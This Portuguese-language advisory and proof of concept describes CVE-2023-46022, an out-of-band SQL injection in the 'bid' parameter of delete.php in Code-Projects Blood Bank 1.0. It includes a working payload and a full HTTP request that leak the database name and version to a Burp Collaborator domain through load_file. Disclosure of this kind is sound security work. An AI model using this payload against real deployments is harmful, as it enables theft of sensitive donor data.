CVE-2023-46022-Code-Projects-Blood-Bank-1.0-OOB-SQL-Injection-Vulnerabilidade

• Autor do Exploit: ersinerenler

Página do Fornecedor

• https://code-projects.org/blood-bank-in-php-with-source-code

Link do Software

• https://download-media.code-projects.org/2020/11/Blood_Bank_In_PHP_With_Source_code.zip

Visão Geral

• Code-Projects Blood Bank V1.0 está exposto a uma vulnerabilidade crítica de segurança envolvendo Injeção SQL Fora de Banda (OOB) através do parâmetro 'bid' no arquivo /delete.php. Essa vulnerabilidade surge devido à falta de mecanismos de proteção adequados, permitindo que atacantes abusem do parâmetro e realizem ataques de injeção SQL OOB via Burp Collaborator. Isso pode resultar em acesso não autorizado e extração de informações sensíveis dos bancos de dados.

Detalhes da Vulnerabilidade

• CVE ID: CVE-2023-46022
• Versão Afetada: Blood Bank V1.0
• Arquivo Vulnerável: /delete.php
• Nome do Parâmetro: bid
• Tipo de Ataque: Local

Referências:

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46022
• https://nvd.nist.gov/vuln/detail/CVE-2023-46022

Descrição

• O parâmetro 'bid' no arquivo /delete.php do Code-Projects Blood Bank V1.0 é suscetível a Injeção SQL Fora de Banda. Essa vulnerabilidade decorre de mecanismos de proteção inadequados, permitindo que atacantes explorem o parâmetro usando Burp Collaborator para iniciar ataques de injeção SQL OOB. Através dessa técnica, um atacante pode potencialmente extrair informações sensíveis dos bancos de dados.

Prova de Conceito (PoC) :

• Intercepte a requisição para delete.php via Burp Suite
• Injete o payload nos parâmetros vulneráveis
• Payload: 3'%2b(select%20load_file(concat('\\\\',version(),'.',database(),'.collaborator-domain\\a.txt')))%2b'
• Exemplo de requisição para o parâmetro bid

---
GET /bloodbank/file/delete.php?bid=3'%2b(select%20load_file(concat('\\\\',version(),'.',database(),'.cuaxacpnxbay7ss8o3csf4bkwb22qtei.oastify.com\\a.txt')))%2b' HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://localhost/bloodbank/bloodinfo.php
Cookie: PHPSESSID=<some-cookie-value>
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
---

• As informações do banco de dados e da versão foram capturadas via Burp Suite Collaborator